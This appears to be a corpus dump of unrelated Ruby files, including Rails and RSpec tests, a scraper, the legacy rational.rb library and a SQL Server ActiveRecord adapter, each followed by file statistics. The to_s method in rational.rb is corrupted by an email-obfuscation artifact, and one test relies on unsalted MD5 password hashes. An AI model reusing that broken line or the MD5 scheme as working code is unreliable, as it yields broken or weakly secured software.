require 'test_helper' class RubyforgerTest < ActiveSupport::TestCase context "with a rubyforge and gemcutter user" do setup do @email = "[email protected]" @password = "secret" @rubyforger = create(:rubyforger, :email => @email, :encrypted_password => Digest::MD5.hexdigest(@password)) end should "be authentic" do assert @rubyforger.authentic?(@password) end should "not be authentic with blank password" do assert ! @rubyforger.authentic?("") assert ! @rubyforger.authentic?(" \n") end should "not be authentic with wrong password" do assert ! @rubyforger.authentic?("trogdor") end should "transfer over with valid password" do user = create(:user, :email => @email) assert_equal user, Rubyforger.transfer(@email, @password) assert User.authenticate(@email, @password) assert ! Rubyforger.exists?(@rubyforger.id) end should "fail transfer when password is wrong" do create(:user, :email => @email) assert_nil Rubyforger.transfer(@email, "trogdor") assert Rubyforger.exists?(@rubyforger.id) end should "fail transfer when no gemcutter user exists" do assert_nil User.find_by_email(@email) assert_nil Rubyforger.transfer(@email, @password) assert Rubyforger.exists?(@rubyforger.id) end end end
29.666667
97
0.643258
bfffef3a560f408d1507fa72696d27339a3451c8
1,436
# frozen_string_literal: false # ---------------------------------------------------------------------------- # # *** AUTO GENERATED CODE *** Type: MMv1 *** # # ---------------------------------------------------------------------------- # # This file is automatically generated by Magic Modules and manual # changes will be clobbered when the file is regenerated. # # Please read more about how to change this file in README.md and # CONTRIBUTING.md located at the root of this package. # # ---------------------------------------------------------------------------- module GoogleInSpec module Compute module Property class InstanceGroupManagerNamedPorts attr_reader :name attr_reader :port def initialize(args = nil, parent_identifier = nil) return if args.nil? @parent_identifier = parent_identifier @name = args['name'] @port = args['port'] end def to_s "#{@parent_identifier} InstanceGroupManagerNamedPorts" end end class InstanceGroupManagerNamedPortsArray def self.parse(value, parent_identifier) return if value.nil? return InstanceGroupManagerNamedPorts.new(value, parent_identifier) unless value.is_a?(::Array) value.map { |v| InstanceGroupManagerNamedPorts.new(v, parent_identifier) } end end end end end
31.217391
105
0.541783
bfb58091387e01ada59df45f7a16b51ba46781f7
2,857
# frozen_string_literal: true class ScrapCbf class RankingsBuilder extend Forwardable include RankingsHelper include Formattable include Printable delegate [:each] => :@rankings def initialize(document, championship) @championship = championship @rankings = [] @header = [] @rows = [] tables = document.css('table') table = find_table_by_header(tables, Ranking::TABLE_HEADER) return unless table scrap_rankings(table) end def to_h @rankings.map(&:to_h) end private def scrap_rankings(table) scrap_header(table) scrap_body(table) create_rankings_from_table end def scrap_header(table) table.css('thead > tr > th').each do |th| text = th.element? && remove_whitespace(th) next unless text title = title_or_nil_helper(th) @header << HeaderColumn.new(text, title) end end def scrap_body(table) table.css('tbody > tr').each do |tr_element| next if tr_element.element? && element_hidden?(tr_element) row = Row.new tr_element.children.each do |td_element| text = td_element.element? && remove_whitespace(td_element) next unless text text = scrap_position_if_exist(text) team = scrap_team_name_if_exist(td_element) # First cell (e.g posicao: 7º and team: Fluminense) if text && !text.empty? && team && !team.empty? row.cells << Cell.new(text) row.cells << Cell.new(team) elsif team && !team.empty? row.cells << Cell.new(team) else row.cells << Cell.new(text) end end # Add 1 to header length because on first cell we scrap 2 values row_length = row.cells.length header_length = @header.length + 1 unless row_length == header_length raise RowSizeError.new(row_length, header_length) end @rows << row end end def scrap_position_if_exist(text) if text&.match?(/^\d{1,2}º/i) position = text[/^\d{1,2}º/i].strip return position.delete 'º' end text end def scrap_team_name_if_exist(element) title = title_or_nil_helper(element) return unless title&.match?(/^[a-záàâãéèêíïóôõöúç\s\-]+ - [a-z]{2}$/i) title[/^[a-záàâãéèêíïóôõöúç\s]{3,50}/i].strip end def create_rankings_from_table @rows.each do |row| ranking = Ranking.new ranking.championship = @championship.year ranking.serie = @championship.serie attrs_rank = Ranking::ATTRS_RANK row.cells.each_with_index do |cell, idx| ranking.send "#{attrs_rank[idx]}=", cell.value end @rankings << ranking end end end end
24.008403
76
0.60168
ed8db1c21e861d886c927b4f2d986e17196e2e19
579
require 'rails_helper' describe Change do let!(:measure) { create :measure } let(:change) { Change.new( model: 'Measure', oid: measure.source.oid, operation_date: measure.source.operation_date, operation: measure.operation ) } describe '#operation_record' do it 'returns relevant models operation record' do expect(change.operation_record).to eq measure.source end end describe '#record' do it 'returns model associated with change operation' do expect(change.record.pk).to eq measure.pk end end end
22.269231
58
0.678756
ac70cf7294970a736bc01d5c403e9a2ee5f520bb
2,857
require "spec_helper" require "stringio" describe Lita::Handlers::Gerrit, lita_handler: true do before do Lita.configure do |config| config.handlers.gerrit.url = "https://gerrit.example.com" config.handlers.gerrit.username = "foo" config.handlers.gerrit.password = "bar" end end it { is_expected.to route("get me gerrit 123, please").to(:change_details) } it { is_expected.not_to route("gerrit foo").to(:change_details) } describe "#change_details" do let(:response) { double("HTTParty::Response") } let(:body) { File.read("spec/fixtures/change_details.json") } before do allow(HTTParty).to receive(:get).and_return(response) end it "replies with the title and URL for the issue" do allow(response).to receive(:code).and_return(200) allow(response).to receive(:body).and_return(body) send_command("gerrit 42") expect(replies.last).to eq('[gerrit] [chef] "haproxy : migrate beanstalk frontend" by John Doe. https://gerrit.example.com/42') end it "replies that the issue doesn't exist" do allow(response).to receive(:code).and_return(404) send_command("gerrit 42") expect(replies.last).to eq("[gerrit] Change #42 does not exist") end it "replies with an exception message" do allow(response).to receive(:code).and_return(500) send_command("gerrit 42") expect(replies.last).to match("[gerrit] Error: Failed to fetch https://gerrit.example.com/a/changes/42 (500)") end end it { is_expected.to route_http(:post, "/gerrit/hooks").to(:hook) } describe "#hook" do let(:request) do request = double("Rack::Request") allow(request).to receive(:params).and_return(params) request end let(:response) { Rack::Response.new } let(:params) { double("Hash") } end it { is_expected.to route_http(:post, "/gerrit/build/myroom").to(:build_notification) } it { is_expected.not_to route_http(:post, "/gerrit/build/").to(:build_notification) } describe "#build_notification" do let(:request) { double("Rack::Request") } let(:response) { Rack::Response.new } let(:env) { {"router.params" => { :room => "myroom" }} } let(:body) { File.read("spec/fixtures/build_notification.json") } context "build finalized" do before do allow(request).to receive(:env).and_return(env) allow(request).to receive(:body).and_return(StringIO.new(body)) end it "notifies the applicable room" do expect(robot).to receive(:send_message) do |target, message| expect(target.room).to eq("myroom") expect(message).to eq('jenkins: Build "haproxy: enable HTTP compression on kibana frontend" by Hervé in sysadmin/chef OK') end subject.build_notification(request, response) end end end end
32.101124
133
0.663983
1c56e3ba3a2ad4a52f2765b732f9c75ac1c03a67
12,358
# # rational.rb - # $Release Version: 0.5 $ # $Revision: 1.7 $ # $Date: 1999/08/24 12:49:28 $ # by Keiju ISHITSUKA(SHL Japan Inc.) # # Documentation by Kevin Jackson and Gavin Sinclair. # # When you <tt>require 'rational'</tt>, all interactions between numbers # potentially return a rational result. For example: # # 1.quo(2) # -> 0.5 # require 'rational' # 1.quo(2) # -> Rational(1,2) # # See Rational for full documentation. # # # Creates a Rational number (i.e. a fraction). +a+ and +b+ should be Integers: # # Rational(1,3) # -> 1/3 # # Note: trying to construct a Rational with floating point or real values # produces errors: # # Rational(1.1, 2.3) # -> NoMethodError # def Rational(a, b = 1) if a.kind_of?(Rational) && b == 1 a else Rational.reduce(a, b) end end # # Rational implements a rational class for numbers. # # <em>A rational number is a number that can be expressed as a fraction p/q # where p and q are integers and q != 0. A rational number p/q is said to have # numerator p and denominator q. Numbers that are not rational are called # irrational numbers.</em> (http://mathworld.wolfram.com/RationalNumber.html) # # To create a Rational Number: # Rational(a,b) # -> a/b # Rational.new!(a,b) # -> a/b # # Examples: # Rational(5,6) # -> 5/6 # Rational(5) # -> 5/1 # # Rational numbers are reduced to their lowest terms: # Rational(6,10) # -> 3/5 # # But not if you use the unusual method "new!": # Rational.new!(6,10) # -> 6/10 # # Division by zero is obviously not allowed: # Rational(3,0) # -> ZeroDivisionError # class Rational < Numeric @RCS_ID='-$Id: rational.rb,v 1.7 1999/08/24 12:49:28 keiju Exp keiju $-' # # Reduces the given numerator and denominator to their lowest terms. Use # Rational() instead. # def Rational.reduce(num, den = 1) raise ZeroDivisionError, "denominator is zero" if den == 0 if den < 0 num = -num den = -den end gcd = num.gcd(den) num = num.div(gcd) den = den.div(gcd) if den == 1 && defined?(Unify) num else new!(num, den) end end # # Implements the constructor. This method does not reduce to lowest terms or # check for division by zero. Therefore #Rational() should be preferred in # normal use. # def Rational.new!(num, den = 1) new(num, den) end private_class_method :new # # This method is actually private. # def initialize(num, den) if den < 0 num = -num den = -den end if num.kind_of?(Integer) and den.kind_of?(Integer) @numerator = num @denominator = den else @numerator = num.to_i @denominator = den.to_i end end # # Returns the addition of this value and +a+. # # Examples: # r = Rational(3,4) # -> Rational(3,4) # r + 1 # -> Rational(7,4) # r + 0.5 # -> 1.25 # def + (a) if a.kind_of?(Rational) num = @numerator * a.denominator num_a = a.numerator * @denominator Rational(num + num_a, @denominator * a.denominator) elsif a.kind_of?(Integer) self + Rational.new!(a, 1) elsif a.kind_of?(Float) Float(self) + a else x, y = a.coerce(self) x + y end end # # Returns the difference of this value and +a+. # subtracted. # # Examples: # r = Rational(3,4) # -> Rational(3,4) # r - 1 # -> Rational(-1,4) # r - 0.5 # -> 0.25 # def - (a) if a.kind_of?(Rational) num = @numerator * a.denominator num_a = a.numerator * @denominator Rational(num - num_a, @denominator*a.denominator) elsif a.kind_of?(Integer) self - Rational.new!(a, 1) elsif a.kind_of?(Float) Float(self) - a else x, y = a.coerce(self) x - y end end # # Returns the product of this value and +a+. # # Examples: # r = Rational(3,4) # -> Rational(3,4) # r * 2 # -> Rational(3,2) # r * 4 # -> Rational(3,1) # r * 0.5 # -> 0.375 # r * Rational(1,2) # -> Rational(3,8) # def * (a) if a.kind_of?(Rational) num = @numerator * a.numerator den = @denominator * a.denominator Rational(num, den) elsif a.kind_of?(Integer) self * Rational.new!(a, 1) elsif a.kind_of?(Float) Float(self) * a else x, y = a.coerce(self) x * y end end # # Returns the quotient of this value and +a+. # r = Rational(3,4) # -> Rational(3,4) # r / 2 # -> Rational(3,8) # r / 2.0 # -> 0.375 # r / Rational(1,2) # -> Rational(3,2) # def divide (a) if a.kind_of?(Rational) num = @numerator * a.denominator den = @denominator * a.numerator Rational(num, den) elsif a.kind_of?(Integer) raise ZeroDivisionError, "division by zero" if a == 0 self / Rational.new!(a, 1) elsif a.kind_of?(Float) Float(self) / a else redo_coerced :/, a end end alias_method :/, :divide # # Returns this value raised to the given power. # # Examples: # r = Rational(3,4) # -> Rational(3,4) # r ** 2 # -> Rational(9,16) # r ** 2.0 # -> 0.5625 # r ** Rational(1,2) # -> 0.866025403784439 # def ** (other) if other.kind_of?(Rational) Float(self) ** other elsif other.kind_of?(Integer) if other > 0 num = @numerator ** other den = @denominator ** other elsif other < 0 num = @denominator ** -other den = @numerator ** -other elsif other == 0 num = 1 den = 1 end Rational.new!(num, den) elsif other.kind_of?(Float) Float(self) ** other else x, y = other.coerce(self) x ** y end end def div(other) (self / other).floor end # # Returns the remainder when this value is divided by +other+. # # Examples: # r = Rational(7,4) # -> Rational(7,4) # r % Rational(1,2) # -> Rational(1,4) # r % 1 # -> Rational(3,4) # r % Rational(1,7) # -> Rational(1,28) # r % 0.26 # -> 0.19 # def % (other) value = (self / other).floor return self - other * value end # # Returns the quotient _and_ remainder. # # Examples: # r = Rational(7,4) # -> Rational(7,4) # r.divmod Rational(1,2) # -> [3, Rational(1,4)] # def divmod(other) value = (self / other).floor return value, self - other * value end # # Returns the absolute value. # def abs if @numerator > 0 self else Rational.new!(-@numerator, @denominator) end end # # Returns +true+ iff this value is numerically equal to +other+. # # But beware: # Rational(1,2) == Rational(4,8) # -> true # Rational(1,2) == Rational.new!(4,8) # -> false # # Don't use Rational.new! # def == (other) if other.kind_of?(Rational) @numerator == other.numerator and @denominator == other.denominator elsif other.kind_of?(Integer) self == Rational.new!(other, 1) elsif other.kind_of?(Float) Float(self) == other else other == self end end # # Standard comparison operator. # def <=> (other) if other.kind_of?(Rational) num = @numerator * other.denominator num_a = other.numerator * @denominator v = num - num_a if v > 0 return 1 elsif v < 0 return -1 else return 0 end elsif other.kind_of?(Integer) return self <=> Rational.new!(other, 1) elsif other.kind_of?(Float) return Float(self) <=> other elsif defined? other.coerce x, y = other.coerce(self) return x <=> y else return nil end end def coerce(other) if other.kind_of?(Float) return other, self.to_f elsif other.kind_of?(Integer) return Rational.new!(other, 1), self else super end end # # Converts the rational to an Integer. Not the _nearest_ integer, the # truncated integer. Study the following example carefully: # Rational(+7,4).to_i # -> 1 # Rational(-7,4).to_i # -> -1 # (-1.75).to_i # -> -1 # # In other words: # Rational(-7,4) == -1.75 # -> true # Rational(-7,4).to_i == (-1.75).to_i # -> true # def floor @numerator.div(@denominator) end def ceil -((-@numerator).div(@denominator)) end def truncate if @numerator < 0 return -((-@numerator).div(@denominator)) end @numerator.div(@denominator) end alias_method :to_i, :truncate def round if @numerator < 0 num = -@numerator num = num * 2 + @denominator den = @denominator * 2 -(num.div(den)) else num = @numerator * 2 + @denominator den = @denominator * 2 num.div(den) end end # # Converts the rational to a Float. # def to_f @numerator.to_f/@denominator.to_f end # # Returns a string representation of the rational number. # # Example: # Rational(3,4).to_s # "3/4" # Rational(8).to_s # "8" # def to_s @numerator.to_s+"/"[email protected]_s end # # Returns +self+. # def to_r self end # # Returns a reconstructable string representation: # # Rational(5,8).inspect # -> "Rational(5, 8)" # def inspect "(#{to_s})" end # # Returns a hash code for the object. # def hash @numerator.hash ^ @denominator.hash end attr_reader :numerator attr_reader :denominator private :initialize end class Integer # # In an integer, the value _is_ the numerator of its rational equivalent. # Therefore, this method returns +self+. # def numerator self end # # In an integer, the denominator is 1. Therefore, this method returns 1. # def denominator 1 end # # Returns a Rational representation of this integer. # def to_r Rational(self, 1) end # # Returns the <em>greatest common denominator</em> of the two numbers (+self+ # and +n+). # # Examples: # 72.gcd 168 # -> 24 # 19.gcd 36 # -> 1 # # The result is positive, no matter the sign of the arguments. # def gcd(other) min = self.abs max = other.abs while min > 0 tmp = min min = max % min max = tmp end max end # # Returns the <em>lowest common multiple</em> (LCM) of the two arguments # (+self+ and +other+). # # Examples: # 6.lcm 7 # -> 42 # 6.lcm 9 # -> 18 # def lcm(other) if self.zero? or other.zero? 0 else (self.div(self.gcd(other)) * other).abs end end # # Returns the GCD _and_ the LCM (see #gcd and #lcm) of the two arguments # (+self+ and +other+). This is more efficient than calculating them # separately. # # Example: # 6.gcdlcm 9 # -> [3, 18] # def gcdlcm(other) gcd = self.gcd(other) if self.zero? or other.zero? [gcd, 0] else [gcd, (self.div(gcd) * other).abs] end end end class Fixnum remove_method :quo # If Rational is defined, returns a Rational number instead of a Fixnum. def quo(other) Rational.new!(self, 1) / other end alias rdiv quo # Returns a Rational number if the result is in fact rational (i.e. +other+ < 0). def rpower (other) if other >= 0 self.power!(other) else Rational.new!(self, 1)**other end end end class Bignum remove_method :quo # If Rational is defined, returns a Rational number instead of a Float. def quo(other) Rational.new!(self, 1) / other end alias rdiv quo # Returns a Rational number if the result is in fact rational (i.e. +other+ < 0). def rpower (other) if other >= 0 self.power!(other) else Rational.new!(self, 1)**other end end end unless 1.respond_to?(:power!) class Fixnum alias_method :power!, :"**" alias_method :"**", :rpower end class Bignum alias_method :power!, :"**" alias_method :"**", :rpower end end
22.067857
83
0.556967
d585953917ee11f768a2643763a50b9e432c3e16
218
class FixArticlesReadCountDefaultZero < ActiveRecord::Migration def up change_column :articles, :read_count, :integer, :default => 0 end def down change_column :articles, :read_count, :integer end end
21.8
65
0.743119
eda4e3760f653f2511a870a1bede9b1315ce0bd8
749
require 'spec_helper' describe EQ::Job do it 'creates a job with payload' do job = EQ::Job.new nil, EQ::Job, ['bar', 'foo'] job.id.should == nil job.queue.should == "EQ::Job" job.job_class.should == EQ::Job job.payload.should == ['bar', 'foo'] end it 'creates a job without payload' do job = EQ::Job.new nil, EQ::Job job.id.should == nil job.queue.should == "EQ::Job" job.job_class.should == EQ::Job job.payload.should == nil end it 'performs using queue.perform(*payload)' do class MyJob def self.perform(*args) {result: args} end end my_job_args = [1,2,3] job = EQ::Job.new(nil, MyJob, my_job_args) job.perform.should == {result: my_job_args} end end
23.40625
50
0.606142
28f8f18ec29377e276de4f97d40647a0e1205ba0
18,840
module ActiveRecord module ConnectionAdapters module Sqlserver module SchemaStatements def native_database_types @native_database_types ||= initialize_native_database_types.freeze end # Drop the database def drop_database(name) execute "IF EXISTS (SELECT name FROM master.dbo.sysdatabases WHERE name = #{quote(name)}) DROP DATABASE #{quote_table_name(name)}" end def set_single_user_mode(name) execute "ALTER DATABASE #{quote_table_name(name)} SET SINGLE_USER WITH ROLLBACK IMMEDIATE" end def tables(table_type = 'BASE TABLE') select_values "SELECT #{lowercase_schema_reflection_sql('TABLE_NAME')} FROM INFORMATION_SCHEMA.TABLES #{"WHERE TABLE_TYPE = '#{table_type}'" if table_type} ORDER BY TABLE_NAME", 'SCHEMA' end def table_exists?(table_name) return false if table_name.blank? unquoted_table_name = Utils.unqualify_table_name(table_name) super || tables.include?(unquoted_table_name) || views.include?(unquoted_table_name) end def indexes(table_name, name = nil) data = select("EXEC sp_helpindex #{quote(table_name)}",name) rescue [] data.inject([]) do |indexes,index| index = index.with_indifferent_access if index[:index_description] =~ /primary key/ indexes else name = index[:index_name] unique = index[:index_description] =~ /unique/ columns = index[:index_keys].split(',').map do |column| column.strip! column.gsub! '(-)', '' if column.ends_with?('(-)') column end indexes << IndexDefinition.new(table_name, name, unique, columns) end end end def columns(table_name, name = nil) return [] if table_name.blank? column_definitions(table_name).collect do |ci| sqlserver_options = ci.except(:name,:default_value,:type,:null).merge(:database_year=>database_year) SQLServerColumn.new ci[:name], ci[:default_value], ci[:type], ci[:null], sqlserver_options end end def rename_table(table_name, new_name) do_execute "EXEC sp_rename '#{table_name}', '#{new_name}'" end def remove_column(table_name, column_name, type, options = {}) raise ArgumentError.new("You must specify a column name. Example: remove_column(:people, :first_name)") if column_name.blank? remove_check_constraints(table_name, column_name) remove_default_constraint(table_name, column_name) remove_indexes(table_name, column_name) do_execute "ALTER TABLE #{quote_table_name(table_name)} DROP COLUMN #{quote_column_name(column_name)}" end def remove_columns(table_name, *column_names) raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.empty? ActiveSupport::Deprecation.warn 'Passing array to remove_columns is deprecated, please use multiple arguments, like: `remove_columns(:posts, :foo, :bar)`', caller if column_names.flatten! column_names.flatten.each do |column_name| remove_check_constraints(table_name, column_name) remove_default_constraint(table_name, column_name) remove_indexes(table_name, column_name) do_execute "ALTER TABLE #{quote_table_name(table_name)} DROP COLUMN #{quote_column_name(column_name)}" end end def change_column(table_name, column_name, type, options = {}) sql_commands = [] column_object = schema_cache.columns[table_name].detect { |c| c.name.to_s == column_name.to_s } change_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" change_column_sql << " NOT NULL" if options[:null] == false sql_commands << change_column_sql if options_include_default?(options) || (column_object && column_object.type != type.to_sym) remove_default_constraint(table_name,column_name) end if options_include_default?(options) sql_commands << "ALTER TABLE #{quote_table_name(table_name)} ADD CONSTRAINT #{default_constraint_name(table_name,column_name)} DEFAULT #{quote(options[:default])} FOR #{quote_column_name(column_name)}" end sql_commands.each { |c| do_execute(c) } end def change_column_default(table_name, column_name, default) remove_default_constraint(table_name, column_name) do_execute "ALTER TABLE #{quote_table_name(table_name)} ADD CONSTRAINT #{default_constraint_name(table_name, column_name)} DEFAULT #{quote(default)} FOR #{quote_column_name(column_name)}" end def rename_column(table_name, column_name, new_column_name) detect_column_for! table_name, column_name do_execute "EXEC sp_rename '#{table_name}.#{column_name}', '#{new_column_name}', 'COLUMN'" end def remove_index!(table_name, index_name) do_execute "DROP INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)}" end def type_to_sql(type, limit = nil, precision = nil, scale = nil) type_limitable = ['string','integer','float','char','nchar','varchar','nvarchar'].include?(type.to_s) limit = nil unless type_limitable case type.to_s when 'integer' case limit when 1..2 then 'smallint' when 3..4, nil then 'integer' when 5..8 then 'bigint' else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.") end else super end end def change_column_null(table_name, column_name, null, default = nil) column = detect_column_for! table_name, column_name unless null || default.nil? do_execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") end sql = "ALTER TABLE #{table_name} ALTER COLUMN #{quote_column_name(column_name)} #{type_to_sql column.type, column.limit, column.precision, column.scale}" sql << " NOT NULL" unless null do_execute sql end # === SQLServer Specific ======================================== # def views tables('VIEW') end protected # === SQLServer Specific ======================================== # def initialize_native_database_types { :primary_key => "int NOT NULL IDENTITY(1,1) PRIMARY KEY", :string => { :name => native_string_database_type, :limit => 255 }, :text => { :name => native_text_database_type }, :integer => { :name => "int", :limit => 4 }, :float => { :name => "float", :limit => 8 }, :decimal => { :name => "decimal" }, :datetime => { :name => "datetime" }, :timestamp => { :name => "datetime" }, :time => { :name => native_time_database_type }, :date => { :name => native_date_database_type }, :binary => { :name => native_binary_database_type }, :boolean => { :name => "bit"}, # These are custom types that may move somewhere else for good schema_dumper.rb hacking to output them. :char => { :name => 'char' }, :varchar_max => { :name => 'varchar(max)' }, :nchar => { :name => "nchar" }, :nvarchar => { :name => "nvarchar", :limit => 255 }, :nvarchar_max => { :name => "nvarchar(max)" }, :ntext => { :name => "ntext" }, :ss_timestamp => { :name => 'timestamp' } } end def column_definitions(table_name) db_name = Utils.unqualify_db_name(table_name) db_name_with_period = "#{db_name}." if db_name table_schema = Utils.unqualify_table_schema(table_name) table_name = Utils.unqualify_table_name(table_name) sql = %{ SELECT DISTINCT #{lowercase_schema_reflection_sql('columns.TABLE_NAME')} AS table_name, #{lowercase_schema_reflection_sql('columns.COLUMN_NAME')} AS name, columns.DATA_TYPE AS type, columns.COLUMN_DEFAULT AS default_value, columns.NUMERIC_SCALE AS numeric_scale, columns.NUMERIC_PRECISION AS numeric_precision, columns.ordinal_position, CASE WHEN columns.DATA_TYPE IN ('nchar','nvarchar') THEN columns.CHARACTER_MAXIMUM_LENGTH ELSE COL_LENGTH('#{db_name_with_period}'+columns.TABLE_SCHEMA+'.'+columns.TABLE_NAME, columns.COLUMN_NAME) END AS [length], CASE WHEN columns.IS_NULLABLE = 'YES' THEN 1 ELSE NULL END AS [is_nullable], CASE WHEN KCU.COLUMN_NAME IS NOT NULL AND TC.CONSTRAINT_TYPE = N'PRIMARY KEY' THEN 1 ELSE NULL END AS [is_primary], c.is_identity AS [is_identity] FROM #{db_name_with_period}INFORMATION_SCHEMA.COLUMNS columns LEFT OUTER JOIN #{db_name_with_period}INFORMATION_SCHEMA.TABLE_CONSTRAINTS AS TC ON TC.TABLE_NAME = columns.TABLE_NAME AND TC.CONSTRAINT_TYPE = N'PRIMARY KEY' LEFT OUTER JOIN #{db_name_with_period}INFORMATION_SCHEMA.KEY_COLUMN_USAGE AS KCU ON KCU.COLUMN_NAME = columns.COLUMN_NAME AND KCU.CONSTRAINT_NAME = TC.CONSTRAINT_NAME AND KCU.CONSTRAINT_CATALOG = TC.CONSTRAINT_CATALOG AND KCU.CONSTRAINT_SCHEMA = TC.CONSTRAINT_SCHEMA INNER JOIN #{db_name}.sys.schemas AS s ON s.name = columns.TABLE_SCHEMA AND s.schema_id = s.schema_id INNER JOIN #{db_name}.sys.objects AS o ON s.schema_id = o.schema_id AND o.is_ms_shipped = 0 AND o.type IN ('U', 'V') AND o.name = columns.TABLE_NAME INNER JOIN #{db_name}.sys.columns AS c ON o.object_id = c.object_id AND c.name = columns.COLUMN_NAME WHERE columns.TABLE_NAME = @0 AND columns.TABLE_SCHEMA = #{table_schema.blank? ? "schema_name()" : "@1"} ORDER BY columns.ordinal_position }.gsub(/[ \t\r\n]+/,' ') binds = [['table_name', table_name]] binds << ['table_schema',table_schema] unless table_schema.blank? results = do_exec_query(sql, 'SCHEMA', binds) results.collect do |ci| ci = ci.symbolize_keys ci[:type] = case ci[:type] when /^bit|image|text|ntext|datetime$/ ci[:type] when /^numeric|decimal$/i "#{ci[:type]}(#{ci[:numeric_precision]},#{ci[:numeric_scale]})" when /^float|real$/i "#{ci[:type]}(#{ci[:numeric_precision]})" when /^char|nchar|varchar|nvarchar|varbinary|bigint|int|smallint$/ ci[:length].to_i == -1 ? "#{ci[:type]}(max)" : "#{ci[:type]}(#{ci[:length]})" else ci[:type] end if ci[:default_value].nil? && schema_cache.view_names.include?(table_name) real_table_name = table_name_or_views_table_name(table_name) real_column_name = views_real_column_name(table_name,ci[:name]) col_default_sql = "SELECT c.COLUMN_DEFAULT FROM #{db_name_with_period}INFORMATION_SCHEMA.COLUMNS c WHERE c.TABLE_NAME = '#{real_table_name}' AND c.COLUMN_NAME = '#{real_column_name}'" ci[:default_value] = select_value col_default_sql, 'SCHEMA' end ci[:default_value] = case ci[:default_value] when nil, '(null)', '(NULL)' nil when /\A\((\w+\(\))\)\Z/ ci[:default_function] = $1 nil else match_data = ci[:default_value].match(/\A\(+N?'?(.*?)'?\)+\Z/m) match_data ? match_data[1] : nil end ci[:null] = ci[:is_nullable].to_i == 1 ; ci.delete(:is_nullable) ci[:is_primary] = ci[:is_primary].to_i == 1 ci[:is_identity] = ci[:is_identity].to_i == 1 unless [TrueClass, FalseClass].include?(ci[:is_identity].class) ci end end def remove_check_constraints(table_name, column_name) constraints = select_values "SELECT CONSTRAINT_NAME FROM INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE where TABLE_NAME = '#{quote_string(table_name)}' and COLUMN_NAME = '#{quote_string(column_name)}'", 'SCHEMA' constraints.each do |constraint| do_execute "ALTER TABLE #{quote_table_name(table_name)} DROP CONSTRAINT #{quote_column_name(constraint)}" end end def remove_default_constraint(table_name, column_name) # If their are foreign keys in this table, we could still get back a 2D array, so flatten just in case. execute_procedure(:sp_helpconstraint, table_name, 'nomsg').flatten.select do |row| row['constraint_type'] == "DEFAULT on column #{column_name}" end.each do |row| do_execute "ALTER TABLE #{quote_table_name(table_name)} DROP CONSTRAINT #{row['constraint_name']}" end end def remove_indexes(table_name, column_name) indexes(table_name).select{ |index| index.columns.include?(column_name.to_s) }.each do |index| remove_index(table_name, {:name => index.name}) end end # === SQLServer Specific (Misc Helpers) ========================= # def get_table_name(sql) if sql =~ /^\s*(INSERT|EXEC sp_executesql N'INSERT)\s+INTO\s+([^\(\s]+)\s*|^\s*update\s+([^\(\s]+)\s*/i $2 || $3 elsif sql =~ /FROM\s+([^\(\s]+)\s*/i $1 else nil end end def default_constraint_name(table_name, column_name) "DF_#{table_name}_#{column_name}" end def detect_column_for!(table_name, column_name) unless column = schema_cache.columns[table_name].detect { |c| c.name == column_name.to_s } raise ActiveRecordError, "No such column: #{table_name}.#{column_name}" end column end def lowercase_schema_reflection_sql(node) lowercase_schema_reflection ? "LOWER(#{node})" : node end # === SQLServer Specific (View Reflection) ====================== # def view_table_name(table_name) view_info = schema_cache.view_information(table_name) view_info ? get_table_name(view_info['VIEW_DEFINITION']) : table_name end def view_information(table_name) table_name = Utils.unqualify_table_name(table_name) view_info = select_one "SELECT * FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_NAME = '#{table_name}'", 'SCHEMA' if view_info view_info = view_info.with_indifferent_access if view_info[:VIEW_DEFINITION].blank? || view_info[:VIEW_DEFINITION].length == 4000 view_info[:VIEW_DEFINITION] = begin select_values("EXEC sp_helptext #{quote_table_name(table_name)}", 'SCHEMA').join rescue warn "No view definition found, possible permissions problem.\nPlease run GRANT VIEW DEFINITION TO your_user;" nil end end end view_info end def table_name_or_views_table_name(table_name) unquoted_table_name = Utils.unqualify_table_name(table_name) schema_cache.view_names.include?(unquoted_table_name) ? view_table_name(unquoted_table_name) : unquoted_table_name end def views_real_column_name(table_name,column_name) view_definition = schema_cache.view_information(table_name)[:VIEW_DEFINITION] match_data = view_definition.match(/([\w-]*)\s+as\s+#{column_name}/im) match_data ? match_data[1] : column_name end # === SQLServer Specific (Identity Inserts) ===================== # def query_requires_identity_insert?(sql) if insert_sql?(sql) table_name = get_table_name(sql) unless table_name.to_s.strip.length == 0 id_column = identity_column(table_name) id_column && sql =~ /^\s*(INSERT|EXEC sp_executesql N'INSERT)[^(]+\([^)]*\b(#{id_column.name})\b,?[^)]*\)/i ? quote_table_name(table_name) : false else false end else false end end def insert_sql?(sql) !(sql =~ /^\s*(INSERT|EXEC sp_executesql N'INSERT)/i).nil? end def with_identity_insert_enabled(table_name) table_name = quote_table_name(table_name_or_views_table_name(table_name)) set_identity_insert(table_name, true) yield ensure set_identity_insert(table_name, false) end def set_identity_insert(table_name, enable = true) sql = "SET IDENTITY_INSERT #{table_name} #{enable ? 'ON' : 'OFF'}" do_execute sql, 'SCHEMA' rescue Exception => e raise ActiveRecordError, "IDENTITY_INSERT could not be turned #{enable ? 'ON' : 'OFF'} for table #{table_name}" end def identity_column(table_name) table = Utils.unqualify_table_name table_name schema_cache.columns(table).detect(&:is_identity?) end end end end end
48.431877
218
0.57914
3338f476b08804ddbd92c1a3d0c786a1cfad45b8
8,224
